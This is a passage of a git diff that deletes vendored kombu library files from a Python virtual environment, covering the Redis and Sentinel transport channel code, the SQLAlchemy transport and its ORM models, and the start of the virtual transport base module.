'socket_keepalive_options', - 'queue_order_strategy', - 'max_connections', - 'health_check_interval', - 'retry_on_timeout', - 'priority_steps', - 'client_name') # <-- do not add comma here! - ) - - connection_class = redis.Connection if redis else None - connection_class_ssl = redis.SSLConnection if redis else None - - def __init__(self, *args, **kwargs): - super().__init__(*args, **kwargs) - - if not self.ack_emulation: # disable visibility timeout - self.QoS = virtual.QoS - self._registered = False - self._queue_cycle = cycle_by_name(self.queue_order_strategy)() - self.Client = self._get_client() - self.ResponseError = self._get_response_error() - self.active_fanout_queues = set() - self.auto_delete_queues = set() - self._fanout_to_queue = {} - self.handlers = {'BRPOP': self._brpop_read, 'LISTEN': self._receive} - self.brpop_timeout = self.connection.brpop_timeout - - if self.fanout_prefix: - if isinstance(self.fanout_prefix, str): - self.keyprefix_fanout = self.fanout_prefix - else: - # previous versions did not set a fanout, so cannot enable - # by default. - self.keyprefix_fanout = '' - - # Evaluate connection. - try: - self.client.ping() - except Exception: - self._disconnect_pools() - raise - - self.connection.cycle.add(self) # add to channel poller. - # and set to true after successfully added channel to the poll. - self._registered = True - - # copy errors, in case channel closed but threads still - # are still waiting for data. - self.connection_errors = self.connection.connection_errors - - if register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_channel) - - def _after_fork(self): - self._disconnect_pools() - - def _disconnect_pools(self): - pool = self._pool - async_pool = self._async_pool - - self._async_pool = self._pool = None - - if pool is not None: - pool.disconnect() - - if async_pool is not None: - async_pool.disconnect() - - def _on_connection_disconnect(self, connection): - if self._in_poll is connection: - self._in_poll = None - if self._in_listen is connection: - self._in_listen = None - if self.connection and self.connection.cycle: - self.connection.cycle._on_connection_disconnect(connection) - - def _do_restore_message(self, payload, exchange, routing_key, - pipe, leftmost=False): - try: - try: - payload['headers']['redelivered'] = True - payload['properties']['delivery_info']['redelivered'] = True - except KeyError: - pass - for queue in self._lookup(exchange, routing_key): - pri = self._get_message_priority(payload, reverse=False) - - (pipe.lpush if leftmost else pipe.rpush)( - self._q_for_pri(queue, pri), dumps(payload), - ) - except Exception: - crit('Could not restore message: %r', payload, exc_info=True) - - def _restore(self, message, leftmost=False): - if not self.ack_emulation: - return super()._restore(message) - tag = message.delivery_tag - - def restore_transaction(pipe): - P = pipe.hget(self.unacked_key, tag) - pipe.multi() - pipe.hdel(self.unacked_key, tag) - if P: - M, EX, RK = loads(bytes_to_str(P)) # json is unicode - self._do_restore_message(M, EX, RK, pipe, leftmost) - - with self.conn_or_acquire() as client: - client.transaction(restore_transaction, self.unacked_key) - - def _restore_at_beginning(self, message): - return self._restore(message, leftmost=True) - - def basic_consume(self, queue, *args, **kwargs): - if queue in self._fanout_queues: - exchange, _ = self._fanout_queues[queue] - self.active_fanout_queues.add(queue) - self._fanout_to_queue[exchange] = queue - ret = super().basic_consume(queue, *args, **kwargs) - - # Update fair cycle between queues. - # - # We cycle between queues fairly to make sure that - # each queue is equally likely to be consumed from, - # so that a very busy queue will not block others. - # - # This works by using Redis's `BRPOP` command and - # by rotating the most recently used queue to the - # and of the list. See Kombu github issue #166 for - # more discussion of this method. - self._update_queue_cycle() - return ret - - def basic_cancel(self, consumer_tag): - # If we are busy reading messages we may experience - # a race condition where a message is consumed after - # canceling, so we must delay this operation until reading - # is complete (Issue celery/celery#1773). - connection = self.connection - if connection: - if connection.cycle._in_protected_read: - return connection.cycle.after_read.add( - promise(self._basic_cancel, (consumer_tag,)), - ) - return self._basic_cancel(consumer_tag) - - def _basic_cancel(self, consumer_tag): - try: - queue = self._tag_to_queue[consumer_tag] - except KeyError: - return - try: - self.active_fanout_queues.remove(queue) - except KeyError: - pass - else: - self._unsubscribe_from(queue) - try: - exchange, _ = self._fanout_queues[queue] - self._fanout_to_queue.pop(exchange) - except KeyError: - pass - ret = super().basic_cancel(consumer_tag) - self._update_queue_cycle() - return ret - - def _get_publish_topic(self, exchange, routing_key): - if routing_key and self.fanout_patterns: - return ''.join([self.keyprefix_fanout, exchange, '/', routing_key]) - return ''.join([self.keyprefix_fanout, exchange]) - - def _get_subscribe_topic(self, queue): - exchange, routing_key = self._fanout_queues[queue] - return self._get_publish_topic(exchange, routing_key) - - def _subscribe(self): - keys = [self._get_subscribe_topic(queue) - for queue in self.active_fanout_queues] - if not keys: - return - c = self.subclient - if c.connection._sock is None: - c.connection.connect() - self._in_listen = c.connection - c.psubscribe(keys) - - def _unsubscribe_from(self, queue): - topic = self._get_subscribe_topic(queue) - c = self.subclient - if c.connection and c.connection._sock: - c.unsubscribe([topic]) - - def _handle_message(self, client, r): - if bytes_to_str(r[0]) == 'unsubscribe' and r[2] == 0: - client.subscribed = False - return - - if bytes_to_str(r[0]) == 'pmessage': - type, pattern, channel, data = r[0], r[1], r[2], r[3] - else: - type, pattern, channel, data = r[0], None, r[1], r[2] - return { - 'type': type, - 'pattern': pattern, - 'channel': channel, - 'data': data, - } - - def _receive(self): - c = self.subclient - ret = [] - try: - ret.append(self._receive_one(c)) - except Empty: - pass - while c.connection is not None and c.connection.can_read(timeout=0): - ret.append(self._receive_one(c)) - return any(ret) - - def _receive_one(self, c): - response = None - try: - response = c.parse_response() - except self.connection_errors: - self._in_listen = None - raise - if isinstance(response, (list, tuple)): - payload = self._handle_message(c, response) - if bytes_to_str(payload['type']).endswith('message'): - channel = bytes_to_str(payload['channel']) - if payload['data']: - if channel[0] == '/': - _, _, channel = channel.partition('.') - try: - message = loads(bytes_to_str(payload['data'])) - except (TypeError, ValueError): - warning('Cannot process event on channel %r: %s', - channel, repr(payload)[:4096], exc_info=1) - raise Empty() - exchange = channel.split('/', 1)[0] - self.connection._deliver( - message, self._fanout_to_queue[exchange]) - return True - - def _brpop_start(self, timeout=None): - if timeout is None: - timeout = self.brpop_timeout - queues = self._queue_cycle.consume(len(self.active_queues)) - if not queues: - return - keys = [self._q_for_pri(queue, pri) for pri in self.priority_steps - for queue in queues] + [timeout or 0] - self._in_poll = self.client.connection - - command_args = ['BRPOP', *keys] - if self.global_keyprefix: - command_args = self.client._prefix_args(command_args) - - self.client.connection.send_command(*command_args) - - def _brpop_read(self, **options): - try: - try: - dest__item = self.client.parse_response(self.client.connection, - 'BRPOP', - **options) - except self.connection_errors: - # if there's a ConnectionError, disconnect so the next - # iteration will reconnect automatically. - self.client.connection.disconnect() - raise - if dest__item: - dest, item = dest__item - dest = bytes_to_str(dest).rsplit(self.sep, 1)[0] - self._queue_cycle.rotate(dest) - self.connection._deliver(loads(bytes_to_str(item)), dest) - return True - else: - raise Empty() - finally: - self._in_poll = None - - def _poll_error(self, type, **options): - if type == 'LISTEN': - self.subclient.parse_response() - else: - self.client.parse_response(self.client.connection, type) - - def _get(self, queue): - with self.conn_or_acquire() as client: - for pri in self.priority_steps: - item = client.rpop(self._q_for_pri(queue, pri)) - if item: - return loads(bytes_to_str(item)) - raise Empty() - - def _size(self, queue): - with self.conn_or_acquire() as client: - with client.pipeline() as pipe: - for pri in self.priority_steps: - pipe = pipe.llen(self._q_for_pri(queue, pri)) - sizes = pipe.execute() - return sum(size for size in sizes - if isinstance(size, numbers.Integral)) - - def _q_for_pri(self, queue, pri): - pri = self.priority(pri) - if pri: - return f"{queue}{self.sep}{pri}" - return queue - - def priority(self, n): - steps = self.priority_steps - return steps[bisect(steps, n) - 1] - - def _put(self, queue, message, **kwargs): - """Deliver message.""" - pri = self._get_message_priority(message, reverse=False) - - with self.conn_or_acquire() as client: - client.lpush(self._q_for_pri(queue, pri), dumps(message)) - - def _put_fanout(self, exchange, message, routing_key, **kwargs): - """Deliver fanout message.""" - with self.conn_or_acquire() as client: - client.publish( - self._get_publish_topic(exchange, routing_key), - dumps(message), - ) - - def _new_queue(self, queue, auto_delete=False, **kwargs): - if auto_delete: - self.auto_delete_queues.add(queue) - - def _queue_bind(self, exchange, routing_key, pattern, queue): - if self.typeof(exchange).type == 'fanout': - # Mark exchange as fanout. - self._fanout_queues[queue] = ( - exchange, routing_key.replace('#', '*'), - ) - with self.conn_or_acquire() as client: - client.sadd(self.keyprefix_queue % (exchange,), - self.sep.join([routing_key or '', - pattern or '', - queue or ''])) - - def _delete(self, queue, exchange, routing_key, pattern, *args, **kwargs): - self.auto_delete_queues.discard(queue) - with self.conn_or_acquire(client=kwargs.get('client')) as client: - client.srem(self.keyprefix_queue % (exchange,), - self.sep.join([routing_key or '', - pattern or '', - queue or ''])) - with client.pipeline() as pipe: - for pri in self.priority_steps: - pipe = pipe.delete(self._q_for_pri(queue, pri)) - pipe.execute() - - def _has_queue(self, queue, **kwargs): - with self.conn_or_acquire() as client: - with client.pipeline() as pipe: - for pri in self.priority_steps: - pipe = pipe.exists(self._q_for_pri(queue, pri)) - return any(pipe.execute()) - - def get_table(self, exchange): - key = self.keyprefix_queue % exchange - with self.conn_or_acquire() as client: - values = client.smembers(key) - if not values: - # table does not exists since all queues bound to the exchange - # were deleted. We need just return empty list. - return [] - return [tuple(bytes_to_str(val).split(self.sep)) for val in values] - - def _purge(self, queue): - with self.conn_or_acquire() as client: - with client.pipeline() as pipe: - for pri in self.priority_steps: - priq = self._q_for_pri(queue, pri) - pipe = pipe.llen(priq).delete(priq) - sizes = pipe.execute() - return sum(sizes[::2]) - - def close(self): - self._closing = True - if self._in_poll: - try: - self._brpop_read() - except Empty: - pass - if not self.closed: - # remove from channel poller. - self.connection.cycle.discard(self) - - # delete fanout bindings - client = self.__dict__.get('client') # only if property cached - if client is not None: - for queue in self._fanout_queues: - if queue in self.auto_delete_queues: - self.queue_delete(queue, client=client) - self._disconnect_pools() - self._close_clients() - super().close() - - def _close_clients(self): - # Close connections - for attr in 'client', 'subclient': - try: - client = self.__dict__[attr] - connection, client.connection = client.connection, None - connection.disconnect() - except (KeyError, AttributeError, self.ResponseError): - pass - - def _prepare_virtual_host(self, vhost): - if not isinstance(vhost, numbers.Integral): - if not vhost or vhost == '/': - vhost = DEFAULT_DB - elif vhost.startswith('/'): - vhost = vhost[1:] - try: - vhost = int(vhost) - except ValueError: - raise ValueError( - 'Database is int between 0 and limit - 1, not {}'.format( - vhost, - )) - return vhost - - def _filter_tcp_connparams(self, socket_keepalive=None, - socket_keepalive_options=None, **params): - return params - - def _process_credential_provider(self, credential_provider, connparams): - if credential_provider: - if isinstance(credential_provider, str): - credential_provider_cls = symbol_by_name(credential_provider) - credential_provider = credential_provider_cls() - - if not isinstance(credential_provider, CredentialProvider): - raise ValueError( - "Credential provider is not an instance of a redis.CredentialProvider or a subclass" - ) - - connparams['credential_provider'] = credential_provider - # drop username and password if credential provider is configured - connparams.pop("username", None) - connparams.pop("password", None) - - def _connparams(self, asynchronous=False): - conninfo = self.connection.client - connparams = { - 'host': conninfo.hostname or '127.0.0.1', - 'port': conninfo.port or self.connection.default_port, - 'virtual_host': conninfo.virtual_host, - 'username': conninfo.userid, - 'password': conninfo.password, - 'max_connections': self.max_connections, - 'socket_timeout': self.socket_timeout, - 'socket_connect_timeout': self.socket_connect_timeout, - 'socket_keepalive': self.socket_keepalive, - 'socket_keepalive_options': self.socket_keepalive_options, - 'health_check_interval': self.health_check_interval, - 'retry_on_timeout': self.retry_on_timeout, - 'client_name': self.client_name, - } - - self._process_credential_provider(conninfo.credential_provider, connparams) - - conn_class = self.connection_class - - # If the connection class does not support the `health_check_interval` - # argument then remove it. - if hasattr(conn_class, '__init__'): - # check health_check_interval for the class and bases - # classes - classes = [conn_class] - if hasattr(conn_class, '__bases__'): - classes += list(conn_class.__bases__) - for klass in classes: - if accepts_argument(klass.__init__, 'health_check_interval'): - break - else: # no break - connparams.pop('health_check_interval') - - if conninfo.ssl: - # Connection(ssl={}) must be a dict containing the keys: - # 'ssl_cert_reqs', 'ssl_ca_certs', 'ssl_certfile', 'ssl_keyfile' - try: - connparams.update(conninfo.ssl) - connparams['connection_class'] = self.connection_class_ssl - except TypeError: - pass - host = connparams['host'] - if '://' in host: - scheme, _, _, username, password, path, query = _parse_url(host) - if scheme == 'socket': - connparams = self._filter_tcp_connparams(**connparams) - connparams.update({ - 'connection_class': redis.UnixDomainSocketConnection, - 'path': '/' + path}, **query) - - connparams.pop('socket_connect_timeout', None) - connparams.pop('socket_keepalive', None) - connparams.pop('socket_keepalive_options', None) - connparams['username'] = username - connparams['password'] = password - - # credential provider as query string - credential_provider = query.pop("credential_provider", None) - self._process_credential_provider(credential_provider, connparams) - - connparams.pop('host', None) - connparams.pop('port', None) - connparams['db'] = self._prepare_virtual_host( - connparams.pop('virtual_host', None)) - - channel = self - connection_cls = ( - connparams.get('connection_class') or - self.connection_class - ) - - if asynchronous: - class Connection(connection_cls): - def disconnect(self, *args): - super().disconnect(*args) - # We remove the connection from the poller - # only if it has been added properly. - if channel._registered: - channel._on_connection_disconnect(self) - connection_cls = Connection - - connparams['connection_class'] = connection_cls - - return connparams - - def _create_client(self, asynchronous=False): - if asynchronous: - return self.Client(connection_pool=self.async_pool) - return self.Client(connection_pool=self.pool) - - def _get_pool(self, asynchronous=False): - params = self._connparams(asynchronous=asynchronous) - self.keyprefix_fanout = self.keyprefix_fanout.format(db=params['db']) - return redis.ConnectionPool(**params) - - def _get_client(self): - if redis.VERSION < (3, 2, 0): - raise VersionMismatch( - 'Redis transport requires redis-py versions 3.2.0 or later. ' - 'You have {0.__version__}'.format(redis)) - - if self.global_keyprefix: - return functools.partial( - PrefixedStrictRedis, - global_keyprefix=self.global_keyprefix, - ) - - return redis.Redis - - @contextmanager - def conn_or_acquire(self, client=None): - if client: - yield client - else: - yield self._create_client() - - @property - def pool(self): - if self._pool is None: - self._pool = self._get_pool() - return self._pool - - @property - def async_pool(self): - if self._async_pool is None: - self._async_pool = self._get_pool(asynchronous=True) - return self._async_pool - - @cached_property - def client(self): - """Client used to publish messages, BRPOP etc.""" - return self._create_client(asynchronous=True) - - @cached_property - def subclient(self): - """Pub/Sub connection used to consume fanout queues.""" - client = self._create_client(asynchronous=True) - return client.pubsub() - - def _update_queue_cycle(self): - self._queue_cycle.update(self.active_queues) - - def _get_response_error(self): - from redis import exceptions - return exceptions.ResponseError - - @property - def active_queues(self): - """Set of queues being consumed from (excluding fanout queues).""" - return {queue for queue in self._active_queues - if queue not in self.active_fanout_queues} - - -class Transport(virtual.Transport): - """Redis Transport.""" - - Channel = Channel - - polling_interval = None # disable sleep between unsuccessful polls. - brpop_timeout = 1 - default_port = DEFAULT_PORT - driver_type = 'redis' - driver_name = 'redis' - - implements = virtual.Transport.implements.extend( - asynchronous=True, - exchange_type=frozenset(['direct', 'topic', 'fanout']) - ) - - if redis: - connection_errors, channel_errors = get_redis_error_classes() - - def __init__(self, *args, **kwargs): - if redis is None: - raise ImportError('Missing redis library (pip install redis)') - super().__init__(*args, **kwargs) - - # All channels share the same poller. - self.cycle = MultiChannelPoller() - # Use polling_interval to set brpop_timeout if provided, but do not modify polling_interval itself. - if self.polling_interval is not None: - self.brpop_timeout = self.polling_interval - - def driver_version(self): - return redis.__version__ - - def register_with_event_loop(self, connection, loop): - cycle = self.cycle - cycle.on_poll_init(loop.poller) - cycle_poll_start = cycle.on_poll_start - add_reader = loop.add_reader - on_readable = self.on_readable - - def _on_disconnect(connection): - if connection._sock: - loop.remove(connection._sock) - - # must have started polling or this will break reconnection - if cycle.fds: - # stop polling in the event loop - try: - loop.on_tick.remove(on_poll_start) - except KeyError: - pass - cycle._on_connection_disconnect = _on_disconnect - - def on_poll_start(): - cycle_poll_start() - [add_reader(fd, on_readable, fd) for fd in cycle.fds] - loop.on_tick.add(on_poll_start) - loop.call_repeatedly(10, cycle.maybe_restore_messages) - health_check_interval = connection.client.transport_options.get( - 'health_check_interval', - DEFAULT_HEALTH_CHECK_INTERVAL - ) - loop.call_repeatedly( - health_check_interval, - cycle.maybe_check_subclient_health - ) - - def on_readable(self, fileno): - """Handle AIO event for one of our file descriptors.""" - self.cycle.on_readable(fileno) - - -if sentinel: - class SentinelManagedSSLConnection( - sentinel.SentinelManagedConnection, - redis.SSLConnection): - """Connect to a Redis server using Sentinel + TLS. - - Use Sentinel to identify which Redis server is the current master - to connect to and when connecting to the Master server, use an - SSL Connection. - """ - - pass - - -class SentinelChannel(Channel): - """Channel with explicit Redis Sentinel knowledge. - - Broker url is supposed to look like: - - .. code-block:: - - sentinel://0.0.0.0:26379;sentinel://0.0.0.0:26380/... - - where each sentinel is separated by a `;`. - - Other arguments for the sentinel should come from the transport options - (see `transport_options` of :class:`~kombu.connection.Connection`). - - You must provide at least one option in Transport options: - * `master_name` - name of the redis group to poll - - Example: - ------- - .. code-block:: python - - >>> import kombu - >>> c = kombu.Connection( - 'sentinel://sentinel1:26379;sentinel://sentinel2:26379', - transport_options={'master_name': 'mymaster'} - ) - >>> c.connect() - """ - - from_transport_options = Channel.from_transport_options + ( - 'master_name', - 'min_other_sentinels', - 'sentinel_kwargs') - - connection_class = sentinel.SentinelManagedConnection if sentinel else None - connection_class_ssl = SentinelManagedSSLConnection if sentinel else None - - def _sentinel_managed_pool(self, asynchronous=False): - connparams = self._connparams(asynchronous) - - additional_params = connparams.copy() - - additional_params.pop('host', None) - additional_params.pop('port', None) - - sentinels = [] - for url in self.connection.client.alt: - url = _parse_url(url) - if url.scheme == 'sentinel': - port = url.port or self.connection.default_port - sentinels.append((url.hostname, port)) - - # Fallback for when only one sentinel is provided. - if not sentinels: - sentinels.append((connparams['host'], connparams['port'])) - - sentinel_inst = sentinel.Sentinel( - sentinels, - min_other_sentinels=getattr(self, 'min_other_sentinels', 0), - sentinel_kwargs=getattr(self, 'sentinel_kwargs', None), - **additional_params) - - master_name = getattr(self, 'master_name', None) - - if master_name is None: - raise ValueError( - "'master_name' transport option must be specified." - ) - - master_kwargs = { - k: additional_params[k] - for k in ('username', 'password') if k in additional_params - } - - return sentinel_inst.master_for( - master_name, - redis.Redis, - **master_kwargs, - ).connection_pool - - def _get_pool(self, asynchronous=False): - params = self._connparams(asynchronous=asynchronous) - self.keyprefix_fanout = self.keyprefix_fanout.format(db=params['db']) - return self._sentinel_managed_pool(asynchronous) - - -class SentinelTransport(Transport): - """Redis Sentinel Transport.""" - - default_port = 26379 - Channel = SentinelChannel diff --git a/venv/Lib/site-packages/kombu/transport/sqlalchemy/__init__.py b/venv/Lib/site-packages/kombu/transport/sqlalchemy/__init__.py deleted file mode 100644 index efb21658a8b1cffe7b840b21ae12a26942cb02f7..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/sqlalchemy/__init__.py +++ /dev/null @@ -1,262 +0,0 @@ -"""SQLAlchemy Transport module for kombu. - -Kombu transport using SQL Database as the message store. - -Features -======== -* Type: Virtual -* Supports Direct: yes -* Supports Topic: yes -* Supports Fanout: no -* Supports Priority: no -* Supports TTL: no - -Connection String -================= - -.. code-block:: - - sqla+SQL_ALCHEMY_CONNECTION_STRING - sqlalchemy+SQL_ALCHEMY_CONNECTION_STRING - -For details about ``SQL_ALCHEMY_CONNECTION_STRING`` see SQLAlchemy Engine Configuration documentation. - -Examples --------- -.. code-block:: - - # PostgreSQL with default driver - sqla+postgresql://scott:tiger@localhost/mydatabase - - # PostgreSQL with psycopg2 driver - sqla+postgresql+psycopg2://scott:tiger@localhost/mydatabase - - # PostgreSQL with pg8000 driver - sqla+postgresql+pg8000://scott:tiger@localhost/mydatabase - - # MySQL with default driver - sqla+mysql://scott:tiger@localhost/foo - - # MySQL with mysqlclient driver (a maintained fork of MySQL-Python) - sqla+mysql+mysqldb://scott:tiger@localhost/foo - - # MySQL with PyMySQL driver - sqla+mysql+pymysql://scott:tiger@localhost/foo - -Transport Options -================= - -* ``queue_tablename``: Name of table storing queues. -* ``message_tablename``: Name of table storing messages. - -Moreover parameters of :func:`sqlalchemy.create_engine()` function can be passed as transport options. -""" -from __future__ import annotations - -import threading -from json import dumps, loads -from queue import Empty - -from sqlalchemy import create_engine, text -from sqlalchemy.exc import OperationalError -from sqlalchemy.orm import sessionmaker - -from kombu.transport import virtual -from kombu.utils import cached_property -from kombu.utils.encoding import bytes_to_str - -from .models import Message as MessageBase -from .models import ModelBase -from .models import Queue as QueueBase -from .models import class_registry, metadata - -# SQLAlchemy overrides != False to have special meaning and pep8 complains -# flake8: noqa - - - - - -VERSION = (1, 4, 1) -__version__ = '.'.join(map(str, VERSION)) - -_MUTEX = threading.RLock() - - -class Channel(virtual.Channel): - """The channel class.""" - - _session = None - _engines = {} # engine cache - - def __init__(self, connection, **kwargs): - self._configure_entity_tablenames(connection.client.transport_options) - super().__init__(connection, **kwargs) - - def _configure_entity_tablenames(self, opts): - self.queue_tablename = opts.get('queue_tablename', 'kombu_queue') - self.message_tablename = opts.get('message_tablename', 'kombu_message') - - # - # Define the model definitions. This registers the declarative - # classes with the active SQLAlchemy metadata object. This *must* be - # done prior to the ``create_engine`` call. - # - self.queue_cls and self.message_cls - - def _engine_from_config(self): - conninfo = self.connection.client - transport_options = conninfo.transport_options.copy() - transport_options.pop('queue_tablename', None) - transport_options.pop('message_tablename', None) - transport_options.pop('callback', None) - transport_options.pop('errback', None) - transport_options.pop('max_retries', None) - transport_options.pop('interval_start', None) - transport_options.pop('interval_step', None) - transport_options.pop('interval_max', None) - transport_options.pop('retry_errors', None) - - return create_engine(conninfo.hostname, **transport_options) - - def _open(self): - conninfo = self.connection.client - if conninfo.hostname not in self._engines: - with _MUTEX: - if conninfo.hostname in self._engines: - # Engine was created while we were waiting to - # acquire the lock. - return self._engines[conninfo.hostname] - - engine = self._engine_from_config() - Session = sessionmaker(bind=engine) - metadata.create_all(engine) - self._engines[conninfo.hostname] = engine, Session - - return self._engines[conninfo.hostname] - - @property - def session(self): - if self._session is None: - _, Session = self._open() - self._session = Session() - return self._session - - def _get_or_create(self, queue): - obj = self.session.query(self.queue_cls) \ - .filter(self.queue_cls.name == queue).first() - if not obj: - with _MUTEX: - obj = self.session.query(self.queue_cls) \ - .filter(self.queue_cls.name == queue).first() - if obj: - # Queue was created while we were waiting to - # acquire the lock. - return obj - - obj = self.queue_cls(queue) - self.session.add(obj) - try: - self.session.commit() - except OperationalError: - self.session.rollback() - - return obj - - def _new_queue(self, queue, **kwargs): - self._get_or_create(queue) - - def _put(self, queue, payload, **kwargs): - obj = self._get_or_create(queue) - message = self.message_cls(dumps(payload), obj) - self.session.add(message) - try: - self.session.commit() - except OperationalError: - self.session.rollback() - - def _get(self, queue): - obj = self._get_or_create(queue) - if self.session.bind.name == 'sqlite': - self.session.execute(text('BEGIN IMMEDIATE TRANSACTION')) - try: - msg = self.session.query(self.message_cls) \ - .with_for_update() \ - .filter(self.message_cls.queue_id == obj.id) \ - .filter(self.message_cls.visible != False) \ - .order_by(self.message_cls.sent_at) \ - .order_by(self.message_cls.id) \ - .limit(1) \ - .first() - if msg: - msg.visible = False - return loads(bytes_to_str(msg.payload)) - raise Empty() - finally: - self.session.commit() - - def _query_all(self, queue): - obj = self._get_or_create(queue) - return self.session.query(self.message_cls) \ - .filter(self.message_cls.queue_id == obj.id) - - def _purge(self, queue): - count = self._query_all(queue).delete(synchronize_session=False) - try: - self.session.commit() - except OperationalError: - self.session.rollback() - return count - - def _size(self, queue): - obj = self._get_or_create(queue) - return ( - self.session.query(self.message_cls) - .filter(self.message_cls.queue_id == obj.id) - .filter(self.message_cls.visible == True) - .count() - ) - - def _declarative_cls(self, name, base, ns): - if name not in class_registry: - with _MUTEX: - if name in class_registry: - # Class was registered while we were waiting to - # acquire the lock. - return class_registry[name] - - return type(str(name), (base, ModelBase), ns) - - return class_registry[name] - - @cached_property - def queue_cls(self): - return self._declarative_cls( - 'Queue', - QueueBase, - {'__tablename__': self.queue_tablename} - ) - - @cached_property - def message_cls(self): - return self._declarative_cls( - 'Message', - MessageBase, - {'__tablename__': self.message_tablename} - ) - - -class Transport(virtual.Transport): - """The transport class.""" - - Channel = Channel - - can_parse_url = True - default_port = 0 - driver_type = 'sql' - driver_name = 'sqlalchemy' - connection_errors = (OperationalError, ) - - def driver_version(self): - import sqlalchemy - return sqlalchemy.__version__ diff --git a/venv/Lib/site-packages/kombu/transport/sqlalchemy/models.py b/venv/Lib/site-packages/kombu/transport/sqlalchemy/models.py deleted file mode 100644 index edff572a8f802440c8b8da395d6a0bd463e00ab2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/sqlalchemy/models.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Kombu transport using SQLAlchemy as the message store.""" - -from __future__ import annotations - -import datetime - -from sqlalchemy import (Boolean, Column, DateTime, ForeignKey, Index, Integer, - Sequence, SmallInteger, String, Text) -from sqlalchemy.orm import relationship -from sqlalchemy.schema import MetaData - -try: - from sqlalchemy.orm import declarative_base, declared_attr -except ImportError: - # TODO: Remove this once we drop support for SQLAlchemy < 1.4. - from sqlalchemy.ext.declarative import declarative_base, declared_attr - -class_registry = {} -metadata = MetaData() -ModelBase = declarative_base(metadata=metadata, class_registry=class_registry) - - -class Queue: - """The queue class.""" - - __table_args__ = {'sqlite_autoincrement': True, 'mysql_engine': 'InnoDB'} - - id = Column(Integer, Sequence('queue_id_sequence'), primary_key=True, - autoincrement=True) - name = Column(String(200), unique=True) - - def __init__(self, name): - self.name = name - - def __str__(self): - return f'' - - @declared_attr - def messages(cls): - return relationship('Message', backref='queue', lazy='noload') - - -class Message: - """The message class.""" - - __table_args__ = ( - Index('ix_kombu_message_timestamp_id', 'timestamp', 'id'), - {'sqlite_autoincrement': True, 'mysql_engine': 'InnoDB'} - ) - - id = Column(Integer, Sequence('message_id_sequence'), - primary_key=True, autoincrement=True) - visible = Column(Boolean, default=True, index=True) - sent_at = Column('timestamp', DateTime, nullable=True, index=True, - onupdate=datetime.datetime.now) - payload = Column(Text, nullable=False) - version = Column(SmallInteger, nullable=False, default=1) - - __mapper_args__ = {'version_id_col': version} - - def __init__(self, payload, queue): - self.payload = payload - self.queue = queue - - def __str__(self): - return ''.format(self) - - @declared_attr - def queue_id(self): - return Column( - Integer, - ForeignKey( - '%s.id' % class_registry['Queue'].__tablename__, - name='FK_kombu_message_queue' - ) - ) diff --git a/venv/Lib/site-packages/kombu/transport/virtual/__init__.py b/venv/Lib/site-packages/kombu/transport/virtual/__init__.py deleted file mode 100644 index 54e846654d9abfb938fb18c089b8ed753b14dd8c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/virtual/__init__.py +++ /dev/null @@ -1,11 +0,0 @@ -from __future__ import annotations - -from .base import (AbstractChannel, Base64, BrokerState, Channel, Empty, - Management, Message, NotEquivalentError, QoS, Transport, - UndeliverableWarning, binding_key_t, queue_binding_t) - -__all__ = ( - 'Base64', 'NotEquivalentError', 'UndeliverableWarning', 'BrokerState', - 'QoS', 'Message', 'AbstractChannel', 'Channel', 'Management', 'Transport', - 'Empty', 'binding_key_t', 'queue_binding_t', -) diff --git a/venv/Lib/site-packages/kombu/transport/virtual/base.py b/venv/Lib/site-packages/kombu/transport/virtual/base.py deleted file mode 100644 index 4c3ede5140e7370c0a50fa480f43059a53906e77..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/transport/virtual/base.py +++ /dev/null @@ -1,1039 +0,0 @@ -"""Virtual transport implementation. - -Emulates the AMQ API for non-AMQ transports. -""" - -from __future__ import annotations - -import base64 -import socket -import sys -import warnings -from array import array -from collections import OrderedDict, defaultdict, namedtuple -from itertools import count -from multiprocessing.util import Finalize -from queue import Empty -from time import monotonic, sleep -from typing import TYPE_CHECKING - -from amqp.protocol import queue_declare_ok_t - -from kombu.exceptions import ChannelError, ResourceError -from kombu.log import get_logger -from kombu.transport import base -from kombu.utils.div import emergency_dump_state -from kombu.utils.encoding import bytes_to_str, str_to_bytes -from kombu.utils.scheduling import FairCycle -from kombu.utils.uuid import uuid - -from .exchange import STANDARD_EXCHANGE_TYPES - -if TYPE_CHECKING: - from types import TracebackType - -ARRAY_TYPE_H = 'H' - -UNDELIVERABLE_FMT = """\ -Message could not be delivered: No queues bound to exchange {exchange!r} \ -using binding key {routing_key!r}. -""" - -NOT_EQUIVALENT_FMT = """\ -Cannot redeclare exchange {0!r} in vhost {1!r} with \ -different type, durable, autodelete or arguments value.\ -""" - -W_NO_CONSUMERS = """\ -Requeuing undeliverable message for queue %r: No consumers.\ -""" - -RESTORING_FMT = 'Restoring {0!r} unacknowledged message(s)' -RESTORE_PANIC_FMT = 'UNABLE TO RESTORE {0} MESSAGES: {1}' - -logger = get_logger(__name__) - -#: Key format used for queue argument lookups in BrokerState.bindings. -binding_key_t = namedtuple('binding_key_t', ( - 'queue', 'exchange', 'routing_key', -)) - -#: BrokerState.queue_bindings generates tuples in this format. -queue_binding_t = namedtuple('queue_binding_t', ( - 'exchange', 'routing_key', 'arguments', -)) - - -class Base64: - """Base64 codec.""" - - def encode(self, s): - return bytes_to_str(base64.b64encode(str_to_bytes(s))) - - def decode(self, s): - return base64.b64decode(str_to_bytes(s)) - - -class NotEquivalentError(Exception): - """Entity declaration is not equivalent to the previous declaration.""" - - -class UndeliverableWarning(UserWarning): - """The message could not be delivered to a queue.""" - - -class BrokerState: - """Broker state holds exchanges, queues and bindings.""" - - #: Mapping of exchange name to - #: :class:`kombu.transport.virtual.exchange.ExchangeType` - exchanges = None - - #: This is the actual bindings registry, used to store bindings and to - #: test 'in' relationships in constant time. It has the following - #: structure:: - #: - #: { - #: (queue, exchange, routing_key): arguments, - #: # ..., - #: } - bindings = None - - #: The queue index is used to access directly (constant time) - #: all the bindings of a certain queue. It has the following structure:: - #: - #: { - #: queue: { - #: (queue, exchange, routing_key), - #: # ..., - #: }, - #: # ..., - #: } - queue_index = None - - def __init__(self, exchanges=None): - self.exchanges = {} if exchanges is None else exchanges - self.bindings = {} - self.queue_index = defaultdict(set) - - def clear(self): - self.exchanges.clear() - self.bindings.clear() - self.queue_index.clear() - - def has_binding(self, queue, exchange, routing_key): - return (queue, exchange, routing_key) in 